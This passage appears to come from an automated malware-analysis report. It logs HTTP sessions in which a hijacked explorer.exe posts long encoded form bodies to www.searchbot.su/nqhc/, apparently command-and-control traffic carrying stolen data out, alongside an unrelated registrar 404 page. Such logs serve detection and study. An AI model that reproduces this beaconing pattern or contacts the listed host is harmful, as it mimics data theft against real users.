Dec 5, 2022 15:17:42.853389978 CET	12034	OUT	Data Raw: 41 6e 62 62 7a 6b 38 6d 45 57 4e 4a 73 31 51 33 34 49 42 32 71 73 77 79 4e 30 57 4a 42 6a 36 38 42 73 79 64 43 6c 69 58 64 47 30 6e 68 6d 42 57 64 48 30 6a 79 74 7e 56 67 4e 7a 34 69 4c 5a 78 56 6e 6f 71 73 76 51 34 53 56 77 36 73 73 6b 56 44 62 Data Ascii: Anbbzk8mEWNJs1Q34IB2qswyN0WJBj68BsydCliXdG0nhmBWdH0jyt~VgNz4iLZxVnoqsvQ4SVw6sskVDb3SyJSIjz8ymZX7NAPDqzrDKEm61jJAJsT-NuiUeLjSm92l1cEgjszZeGd3yYvYYO7SS7YMD5yplhWl(cPKGk4gpVcvY-LyLDu1cG~WW83XyMvG(wnc6PjppGisPNmdYwaAoPkhE7ShOppRCJOdXiQGBa~gBYKyNUp
Dec 5, 2022 15:17:42.853543043 CET	12036	OUT	Data Raw: 54 79 6b 4f 51 4c 52 50 56 79 33 70 57 6a 35 59 6a 51 74 4f 73 71 30 55 50 35 76 54 53 65 6d 63 4b 59 64 55 4e 38 67 4d 50 72 71 46 72 63 28 61 52 79 55 52 51 2d 61 38 55 4f 65 76 6c 56 6b 41 50 68 42 4f 36 56 61 6e 5a 35 77 47 70 6b 6b 32 34 6d Data Ascii: TykOQLRPVy3pWj5YjQtOsq0UP5vTSemcKYdUN8gMPrqFrc(aRyURQ-a8UOevlVkAPhBO6VanZ5wGpkk24me5Exo0YFlW7zjVC9Trg4z3DVjADbQvvxB6kKqOChBkwiYcWwSo0ko_P2bTT3me1bLEb6Lctr5yaxYgbe8vgD5l8-UyIe~oQlLRdokrz7ehmvPyBKjmY4AFrozU~m6M(XGK1uYPHdck9b~cSvc8VkL6VwoOUq5yefx
Dec 5, 2022 15:17:42.853723049 CET	12037	OUT	Data Raw: 48 74 46 78 37 38 59 6a 57 54 58 36 7e 4d 6c 46 52 71 6d 53 4e 35 36 73 36 62 66 39 34 51 41 35 54 55 6d 42 70 45 4d 74 4b 5f 6f 36 44 46 30 57 54 4f 75 50 6c 41 53 73 43 6d 32 39 44 62 42 62 41 48 31 66 32 6c 51 39 7e 77 73 55 44 6c 58 75 61 38 Data Ascii: HtFx78YjWTX6~MlFRqmSN56s6bf94QA5TUmBpEMtK_o6DF0WTOuPlASsCm29DbBbAH1f2lQ9~wsUDlXua8wruTMx(lul25LImduaXKVJonjAvnLAKvWpFM5nUvJItQzJCnFJMhtg~pxoQk2D9XP5hvasAVeVTHkawF7ur_ZitqBFVlV7Zvp0z8wQfWlFFyxMV1cuGb3N1Q9oWxeIZRhfRftVRb1IQ92A2zDPUvcr16da0UlGJOP
Dec 5, 2022 15:17:42.898597002 CET	12040	OUT	Data Raw: 6f 33 62 59 28 78 7e 30 37 6d 64 51 53 50 52 65 4e 6b 52 31 67 46 4d 48 67 59 50 2d 4a 55 75 76 56 4d 74 68 42 45 72 71 61 4d 39 4c 55 69 73 5a 65 39 4b 33 76 5f 49 54 4d 77 70 37 52 65 48 37 79 55 7a 54 6b 33 4d 39 4c 31 6f 76 64 49 72 6f 64 43 Data Ascii: o3bY(x~07mdQSPReNkR1gFMHgYP-JUuvVMthBErqaM9LUisZe9K3v_ITMwp7ReH7yUzTk3M9L1ovdIrodCHgx82sxdrlKn3Op5BqofNJFvlWBwH7AqQAvao3Sn(uD8b0MfpNNy8G5vO9(MGlVsyL4GGgJiafDy6RbKuJHh8wF1ieKR9R2WeXXc5LUrvcnAWdpEBpDZKkHSYNrsJVffycIKIN3eFz0EYM53lcAt7vK9zeGhe1JoU
Dec 5, 2022 15:17:42.898760080 CET	12041	OUT	Data Raw: 57 52 44 41 4d 49 38 34 50 66 55 71 45 55 4d 31 5a 34 6a 31 57 78 57 4b 78 34 50 41 74 75 48 62 67 32 67 67 4b 47 68 6e 62 59 34 53 6b 42 70 6b 76 34 63 63 43 4f 35 5f 36 6b 43 74 34 76 37 6c 47 65 32 41 47 55 41 46 63 61 65 57 6d 4f 59 6f 35 36 Data Ascii: WRDAMI84PfUqEUM1Z4j1WxWKx4PAtuHbg2ggKGhnbY4SkBpkv4ccCO5_6kCt4v7lGe2AGUAFcaeWmOYo56MKdbDEGuTTPUXQaH1TccrUj0adNmqFeaT5h2gyZKLc6_BayqtWHd5r~AONSIk5D-7aPMKfQzRXyTnEzh5LuKC-2Ukr0XKlYHorGmWmXlna18aDb5ucSMQOMU0c(LaGQDj0xsH6Zl2iSfsat6aA4v6CN8OZW_8tYkx
Dec 5, 2022 15:17:42.977089882 CET	12053	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 05 Dec 2022 14:17:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 39481 Connection: close Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> 404</title> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"> <script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script> <script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; }
Dec 5, 2022 15:17:42.977190971 CET	12054	IN	Data Raw: 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e Data Ascii: output.push(value); } return output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++];
Dec 5, 2022 15:17:42.977263927 CET	12056	IN	Data Raw: 74 61 20 2f 20 64 61 6d 70 29 20 3a 20 28 64 65 6c 74 61 20 3e 3e 20 31 29 3b 0a 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 2b 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 Data Ascii: ta / damp) : (delta >> 1); delta += Math.floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floo
Dec 5, 2022 15:17:42.977334976 CET	12057	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 20 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: throw RangeError ("punycode_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("puny
Dec 5, 2022 15:17:42.977391005 CET	12058	IN	Data Raw: 30 2c 20 6c 65 6e 20 3d 20 6f 75 74 70 75 74 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 Data Ascii: 0, len = output.length; i < len; i++) { if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.enco
Dec 5, 2022 15:17:42.977444887 CET	12060	IN	Data Raw: 30 3b 20 6a 20 3c 20 69 6e 70 75 74 5f 6c 65 6e 67 74 68 3b 20 2b 2b 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6a 76 20 3d 20 69 6e 70 75 74 5b 6a 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a Data Ascii: 0; j < input_length; ++j) { ijv = input[j]; if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow
Dec 5, 2022 15:17:42.977514982 CET	12061	IN	Data Raw: 6f 41 53 43 49 49 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 6f 6d 61 69 6e 20 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 20 3d 20 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 Data Ascii: oASCII = function ( domain ) { var domain_array = domain.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za
Dec 5, 2022 15:17:42.977572918 CET	12062	IN	Data Raw: 65 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 Data Ascii: een; } .logo { padding: 30px 40px; } .content { display: flex; justify-content: space-between; margin: 0 82px; } .left { display: fl
Dec 5, 2022 15:17:42.977629900 CET	12064	IN	Data Raw: 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: : 15px; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="none" xmlns="http://www.w3.org/2
Dec 5, 2022 15:17:42.977701902 CET	12065	IN	Data Raw: 32 30 2e 39 34 37 35 5a 22 20 66 69 6c 6c 3d 22 23 31 34 32 39 35 45 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 35 33 2e 31 35 30 39 20 31 34 2e 31 37 38 38 43 35 33 2e Data Ascii: 20.9475Z" fill="#14295E"></path> <path d="M53.1509 14.1788C53.1695 14.0678 53.1828 13.9659 53.1923 13.8744C53.2017 13.7815 53.2065 13.6867 53.2065 13.5876C53.2065 13.1011 53.0556 12.7287 52.7556 12.47C52.455 12.211 52.0227
Dec 5, 2022 15:17:43.023533106 CET	12066	IN	Data Raw: 36 34 30 35 20 31 30 2e 30 34 39 34 43 36 35 2e 39 36 37 38 20 31 30 2e 30 34 39 34 20 36 35 2e 33 35 32 31 20 31 30 2e 31 37 35 37 20 36 34 2e 37 39 32 20 31 30 2e 34 32 35 37 43 36 34 2e 32 33 31 37 20 31 30 2e 36 37 37 39 20 36 33 2e 36 31 33 Data Ascii: 6405 10.0494C65.9678 10.0494 65.3521 10.1757 64.792 10.4257C64.2317 10.6779 63.6136 11.0274 62.9346 11.475L63.2065 10.3343L58.7385 10.3351L58.2337 12.5144H59.3852L57.5098 20.6619H60.8287L62.5044 13.3418C62.9323 13.1149 63.3172 12.9453 63.6601

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	49839	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:04.917323112 CET	11102	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 77 35 58 63 4b 78 6a 33 4a 4d 74 72 55 4a 61 52 6c 55 4b 56 30 70 74 4f 30 50 6f 36 35 37 69 38 66 4d 30 44 33 5a 4a 38 41 57 66 6c 37 70 69 75 37 76 75 48 30 4d 41 58 33 48 50 4b 63 61 68 58 48 44 62 33 4a 30 35 2d 52 44 65 75 52 55 43 4c 72 47 31 4d 32 69 75 47 35 59 45 66 73 65 57 4f 57 4e 70 66 77 69 75 37 65 79 48 6a 57 6a 61 6d 6f 79 66 46 6c 49 4c 7a 4f 61 30 4d 78 31 65 51 34 6c 51 59 51 44 6d 5a 67 71 31 67 77 38 7a 4c 53 6e 46 34 59 45 4e 4d 55 77 73 47 7e 76 42 42 56 50 77 5a 46 75 38 77 50 57 32 6b 59 72 50 53 6a 55 31 44 4f 54 61 44 51 6c 4e 65 59 49 76 58 4c 61 62 30 45 37 41 47 75 7a 65 38 59 48 33 36 43 43 6f 5f 56 48 6f 4b 6f 72 6d 30 6c 57 31 4b 59 4a 43 38 6a 50 79 37 51 30 30 4c 65 47 6a 37 6e 69 59 47 39 55 35 36 71 79 36 5a 50 6d 4f 46 48 54 35 48 61 43 59 6f 57 4c 44 44 45 42 4c 6e 44 58 5a 47 78 31 43 65 50 71 32 67 62 6a 48 44 54 4f 49 44 56 44 6a 63 6c 62 7a 45 38 6b 35 63 34 33 42 65 4a 71 61 66 4a 4d 69 71 62 41 4e 77 54 36 57 59 66 6a 41 45 4f 71 78 7a 6f 37 28 6c 6f 34 7a 6c 73 4e 59 31 6c 4b 77 57 77 5a 52 61 34 4f 72 65 74 6e 31 70 70 69 6b 31 48 2d 32 6b 6a 6d 78 69 6e 72 5a 4b 48 72 6c 7a 37 5a 6c 6e 4a 79 68 45 74 74 6c 75 39 36 47 54 44 31 39 6a 68 61 64 49 5a 64 37 70 6b 46 38 5f 7a 46 28 57 4b 65 69 5f 38 35 54 6e 61 34 4a 55 55 68 42 35 39 4b 35 47 50 31 4b 36 4d 31 55 37 7e 59 33 35 53 39 4b 76 6a 75 65 31 6c 46 47 72 45 46 49 45 67 6d 6a 67 63 71 38 79 71 4b 57 63 69 4a 70 76 55 75 44 51 4a 42 7a 61 78 6b 6f 6a 4e 79 46 52 6b 50 41 44 57 76 41 4c 4f 42 45 44 74 6f 44 65 4c 62 43 67 53 6c 71 6c 6b 4e 6f 37 67 44 57 43 70 49 77 36 49 51 6b 7a 68 75 43 61 33 5a 4b 6f 6c 68 4b 41 30 62 36 67 65 70 77 78 39 75 38 31 6a 4e 46 4c 6e 69 41 6c 39 47 57 52 4e 49 6b 4a 76 53 57 37 61 5f 43 52 48 58 79 65 79 55 42 66 38 5a 46 6f 54 67 70 4d 49 79 6f 76 50 4f 63 42 64 32 4f 42 6c 6b 4a 55 77 4a 66 70 59 59 49 6b 52 62 74 4a 53 7a 56 49 41 72 5a 4e 59 58 79 37 49 66 4c 71 32 42 36 66 48 41 59 41 37 70 56 6d 30 36 46 47 7a 79 55 41 75 58 34 4e 7e 35 63 61 30 49 4c 34 49 73 7a 4d 56 38 46 43 61 57 66 56 28 54 51 51 6d 58 6f 41 74 61 49 75 31 4f 44 4a 34 57 30 5f 6c 59 57 51 49 52 6d 69 4a 32 68 34 70 45 38 66 65 47 66 6d 4c 76 36 49 78 64 38 63 4a 71 74 4b 4e 73 6f 38 49 75 6f 66 6b 77 68 4e 4b 6c 7a 4d 32 58 6a 32 48 57 43 58 48 57 36 4d 64 75 6d 75 71 30 4b 64 7a 4f 70 43 73 37 45 4d 68 75 74 6f 61 57 68 57 70 4e 4e 35 62 47 70 71 7e 42 4d 56 52 35 4e 47 69 52 45 48 65 35 71 6f 6e 38 7e 59 55 67 53 50 61 62 37 47 4a 4a 34 61 67 47 64 66 78 75 6a 68 59 59 37 59 4a 78 52 38 46 35 42 72 5a 53 46 79 76 77 68 55 6a 6d 7a 6a 43 71 28 4a 30 65 57 67 4b 6c 71 69 58 46 41 74 69 79 28 75 78 63 31 31 4a 72 33 6e 54 61 75 61 68 58 74 53 62 30 4c 52 51 4b 4c 78 43 39 6f 37 28 59 6e 78 58 6f 74 64 52 38 71 33 62 63 67 62 72 42 6b 77 66 4e 79 59 56 6a 52 73 35 63 4f 55 50 59 75 58 46 58 7e 6d 57 41 6b 4a 6f 55 44 4f 61 68 38 4e 46 54 71 56 6b 45 5a 6f 73 5f 61 74 41 54 63 61 74 67 43 55 7e 30 51 37 55 51 55 4e 4e 35 6a 42 46 56 39 43 51 58 4d 6d 64 44 67 71 4d 37 59 32 43 53 6c 7a 49 73 42 62 36 61 54 79 4f 53 33 69 47 51 4c 71 6e 4b 63 4b 4a 51 73 45 4b 4f 4d 78 71 70 41 71 52 4b 45 77 30 77 77 79 39 65 64 74 4d 56 39 37 6e 51 30 52 53 41 43 7a 38 69 55 47 57 4d 36 67 58 79 32 4c 4c 69 66 69 51 70 61 6a 51 4c 37 5a 34 2d 6c 59 44 4a 37 31 63 79 45 68 5a 66 73 31 78 59 37 53 58 46 64 30 70 43 75 39 48 62 28 63 70 5f 65 42 53 57 47 68 55 63 6b 79 7e 6f 34 44 72 42 37 5a 73 64 50 36 67 38 6d 67 78 45 55 7a 79 57 4a 72 5a 56 79 77 6f 79 43 65 71 6b 6b 54 6b 4c 49 36 74 70 76 73 72 62 49 55 44 6f 4d 52 34 7a 69 6d 4b 58 37 33 54 78 73 5a 31 67 53 76 68 41 39 67 57 39 66 33 61 37 41 66 56 69 30 71 4b 54 70 39 39 56 4c 59 42 61 28 79 38 45 33 79 44 74 6d 39 6c 4f 49 56 71 77 6a 7a 73 79 32 4e 6d 58 55 4f 35 32 7a 58 6d 37 6f 6c 58 78 61 79 37 63 7e 34 42 76 32 6b 74 63 7e 75 6c 6d 54 30 55 33 30 77 72 66 38 31 59 50 37 64 53 4e 46 48 63 38 78 33 69 36 6f 56 33 4e 5a 31 63 63 51 54 52 44 62 53 78 52 61 59 38 33 79 42 71 76 7a 75 72 63 74 6f 6b 33 6c 77 47 Data Ascii: 7nWHV=9jZPDiqEJGn1w5XcKxj3JMtrUJaRlUKV0ptO0Po657i8fM0D3ZJ8AWfl7piu7vuH0MAX3HPKcahXHDb3J05-RDeuRUCLrG1M2iuG5YEfseWOWNpfwiu7eyHjWjamoyfFlILzOa0Mx1eQ4lQYQDmZgq1gw8zLSnF4YENMUwsG~vBBVPwZFu8wPW2kYrPSjU1DOTaDQlNeYIvXLab0E7AGuze8YH36CCo_VHoKorm0lW1KYJC8jPy7Q00LeGj7niYG9U56qy6ZPmOFHT5HaCYoWLDDEBLnDXZGx1CePq2gbjHDTOIDVDjclbzE8k5c43BeJqafJMiqbANwT6WYfjAEOqxzo7(lo4zlsNY1lKwWwZRa4Oretn1ppik1H-2kjmxinrZKHrlz7ZlnJyhEttlu96GTD19jhadIZd7pkF8_zF(WKei_85Tna4JUUhB59K5GP1K6M1U7~Y35S9Kvjue1lFGrEFIEgmjgcq8yqKWciJpvUuDQJBzaxkojNyFRkPADWvALOBEDtoDeLbCgSlqlkNo7gDWCpIw6IQkzhuCa3ZKolhKA0b6gepwx9u81jNFLniAl9GWRNIkJvSW7a_CRHXyeyUBf8ZFoTgpMIyovPOcBd2OBlkJUwJfpYYIkRbtJSzVIArZNYXy7IfLq2B6fHAYA7pVm06FGzyUAuX4N~5ca0IL4IszMV8FCaWfV(TQQmXoAtaIu1ODJ4W0_lYWQIRmiJ2h4pE8feGfmLv6Ixd8cJqtKNso8IuofkwhNKlzM2Xj2HWCXHW6Mdumuq0KdzOpCs7EMhutoaWhWpNN5bGpq~BMVR5NGiREHe5qon8~YUgSPab7GJJ4agGdfxujhYY7YJxR8F5BrZSFyvwhUjmzjCq(J0eWgKlqiXFAtiy(uxc11Jr3nTauahXtSb0LRQKLxC9o7(YnxXotdR8q3bcgbrBkwfNyYVjRs5cOUPYuXFX~mWAkJoUDOah8NFTqVkEZos_atATcatgCU~0Q7UQUNN5jBFV9CQXMmdDgqM7Y2CSlzIsBb6aTyOS3iGQLqnKcKJQsEKOMxqpAqRKEw0wwy9edtMV97nQ0RSACz8iUGWM6gXy2LLifiQpajQL7Z4-lYDJ71cyEhZfs1xY7SXFd0pCu9Hb(cp_eBSWGhUcky~o4DrB7ZsdP6g8mgxEUzyWJrZVywoyCeqkkTkLI6tpvsrbIUDoMR4zimKX73TxsZ1gSvhA9gW9f3a7AfVi0qKTp99VLYBa(y8E3yDtm9lOIVqwjzsy2NmXUO52zXm7olXxay7c~4Bv2ktc~ulmT0U30wrf81YP7dSNFHc8x3i6oV3NZ1ccQTRDbSxRaY83yBqvzurctok3lwG95fKmTPm6DlTA9LnSZrgriTgP2KdFcrFQXuceHTeHS-RAgAHBrrGY9b0oHbRmQeX_Eh(WAxo5wPV9QZibJLnSQsFjojJFt_bONv4HkFB4kV9KPyW0ITa7bSxtEC2x0lI3EXOC2-rQTWP9(j6XD4~wBwrvU8GuoqeuSi2dPQYb2vTSSPPrV082ZbpwvITyNygd9J9HBzOYAGi3MIGYnb2AsifutJmAOjgMq7yqnL0SBjZqVf36LsR03xY5es2TfAwthAj0AVggu-(AmAi9yUaOJNeQCOMIIEVbBTZNxekXKJ2mnNkZsdWKxxtIKT5OC2vdWMnfL_nuXVrOkznN8xtJxB7LLmg7HHlt4znkFAne5bKVMD9pR9KlkwQ-kZSQ8BUn(wIZ2vQQb89rJzb6yiv7AjAFXUrbtIBCbqpI4dsAXfhLEfgRgTMCu2YbOzHEjfA0wPgbs0Zv6bJBteoKw3G5Q3~yoXoG23yKZT~S4OtP8XgO8RGBgLkNoKcDRl57~kxOzaYoy0xJIPBpx89m99WiPvZ18zIrEdw4CkVtKe9DIvTp~fIdQ0W6954mbgDsvpdcslqtFoTa~L1fPD7Sba7F37U_m9ad6xMTRe0iGpXhHMeQMB4XVb7-(G5iczTpDiv1d3Wd3GZf(UoJO5Z8RKu-YkRs4xhLkqPqpfM3(czjMR~62v~45UYTLXu1Jha_O9Nv1nDWarY80G3CquqyT3(SFjS2in4aCqvdlGHCQ57fRm6UkXSWFRCdqPfHdXs1CTBeQEfd2n50KyxuuA(JfXMKAy80KAzjxxUunJitoMhv3KVx2kKCNSfqnX2wVGVErDRmW9S-aylu1Vj0hK3RsBYF8lka74hynj5v4FH2u_lAreR6yObugIjdoA28X5zA5ORUPW1wtm1EmNTn(ReZxuj9K2lG~xUyeEh5SaXDK-kGvGFNGuCuTDJTrz~XbePmtpRDpO(YzugoKRIjXjHQp0Z2i3EjMOzQ65Yf0Lm6CUq1m8olCqXSYec2u07O~1BECVJfmik2L57BmfgFY5QYJqWx1GNPr4f72MeKXZ0_iPjIXq117cuZKZsdKox66GjaX9aGYB11P4OWcyTgWY0aYgY4N-mR0MfHGin9pR9ZA3B-N_cybDIY8cIYUXaeJ-249iZxVDcmDfIFL4dJ3Mu4xkWtFTvOryZhAmKyAK~ktk1KRK8mOnti2YMBCwDvkw1tCSGQrNRA7VQtWL4GLmXuL8WNkiXrWfKfHRpkZpf5O8TmPt6QySzGt_j893HxJn2pwdfgpyyvULWwowYbumw27oMhNf2XNCbQOlhfMRqKPkg0MudKaTG_YVpw(1282LkjeCuOmWPK8mrN5vkqP7fv8IQwZ1MXDrdAn81LmRy8UOHyX0Gcn0CAezTA~b6HXqjBCwAPPhIsZOf6Ys8y4enx1H3lsLFq2mkKqf1rckZ-EnFkGh0w9XrBhDtEQ9cy3CjxuzilrSnhycfGJ2TgykUA2Op4vPPSiwS1bL5zCspZRenDHwrzvoel6VXBKsuVHXdN6l53513SEYoOn4NayUO3rqbQFyu8aNvGbq(_uj3pdcX311EwUpJF1toNdJ8oGDiQU2Q-Mo~QG-yZAt7neHevUyUcGmd_d8IucR~7GtjlG8bZDJbwer1ZY47-lHsTg_zwefBhy39nBifNXKM3jaV3XYfMnIT8TlKZI1w4Z53LtrBf8lP9tEsBPOGsDV6h(2BF5jmigkqD45UKElN0VlzXz7eVFRt_9wT1wSD3jqgLAPr2IlI8YiyNC6XIyNXEwnHCplFYrv9rMWOSTnmRXPZbfR1cE0Oq5lYxteMowlPn3XF7c7Y7849OjkZCCw9DZHqGmTD1h8SdCJX4OjM0Ee3CXEP1f54OEKtfKswr8mwcAWRHXI(oTFKnp8ru~MVrteQvg8~mLCTE49dD7jxcTkdMSEnbNgw7S4ZJ5LJJNkH-7JgKiz6Sc4x7